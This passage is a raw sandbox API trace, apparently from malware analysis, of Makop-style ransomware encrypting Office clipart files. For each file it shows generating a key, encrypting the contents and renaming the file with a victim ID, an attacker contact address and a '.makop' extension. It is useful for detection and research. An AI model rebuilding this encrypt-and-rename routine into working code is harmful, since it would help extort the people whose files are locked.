lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0111.395] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0111.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.397] GetProcessHeap () returned 0x48a0000 [0111.397] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.398] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.398] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.398] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.398] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.398] GetProcessHeap () returned 0x48a0000 [0111.398] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.398] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.398] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.399] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.403] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.403] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.403] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.403] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.404] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.404] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.404] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.404] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.404] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb90, lpOverlapped=0x0) returned 1 [0111.404] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb90, dwBufLen=0xb90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb90) returned 1 [0111.404] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.404] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb90, lpOverlapped=0x0) returned 1 [0111.404] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.405] SetEndOfFile (hFile=0xf0) returned 1 [0111.412] GetProcessHeap () returned 0x48a0000 [0111.412] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.412] GetProcessHeap () returned 0x48a0000 [0111.412] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.412] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.414] CloseHandle (hObject=0xf0) returned 1 [0111.414] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0111.414] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0111.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.417] GetProcessHeap () returned 0x48a0000 [0111.417] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.417] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.417] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.417] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.421] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.421] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.421] GetProcessHeap () returned 0x48a0000 [0111.421] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.422] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.422] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.422] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.422] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.422] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.422] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.422] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.423] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.423] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.423] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.423] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe04, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe04, lpOverlapped=0x0) returned 1 [0111.423] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10, dwBufLen=0xe10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10) returned 1 [0111.423] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.423] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe10, lpOverlapped=0x0) returned 1 [0111.424] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.424] SetEndOfFile (hFile=0xf0) returned 1 [0111.431] GetProcessHeap () returned 0x48a0000 [0111.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.431] GetProcessHeap () returned 0x48a0000 [0111.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.431] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.433] CloseHandle (hObject=0xf0) returned 1 [0111.433] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0111.433] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0111.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.434] GetProcessHeap () returned 0x48a0000 [0111.434] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.434] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.434] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.434] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.439] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.439] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.439] GetProcessHeap () returned 0x48a0000 [0111.439] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.439] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.439] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.440] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.440] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.440] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.440] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.440] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.440] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.441] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.441] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.441] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8b4, lpOverlapped=0x0) returned 1 [0111.441] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0) returned 1 [0111.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.441] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8c0, lpOverlapped=0x0) returned 1 [0111.441] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.442] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.442] SetEndOfFile (hFile=0xf0) returned 1 [0111.449] GetProcessHeap () returned 0x48a0000 [0111.449] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.449] GetProcessHeap () returned 0x48a0000 [0111.449] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.449] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.451] CloseHandle (hObject=0xf0) returned 1 [0111.451] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0111.451] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0111.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.452] GetProcessHeap () returned 0x48a0000 [0111.452] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.452] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.452] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.453] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.457] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.457] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.457] GetProcessHeap () returned 0x48a0000 [0111.457] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.457] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.457] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.457] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.458] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.458] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.458] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.458] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.458] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.459] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8fc, lpOverlapped=0x0) returned 1 [0111.459] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900, dwBufLen=0x900 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900) returned 1 [0111.459] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.460] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x900, lpOverlapped=0x0) returned 1 [0111.460] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.460] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.460] SetEndOfFile (hFile=0xf0) returned 1 [0111.467] GetProcessHeap () returned 0x48a0000 [0111.467] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.467] GetProcessHeap () returned 0x48a0000 [0111.467] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.467] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.467] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: 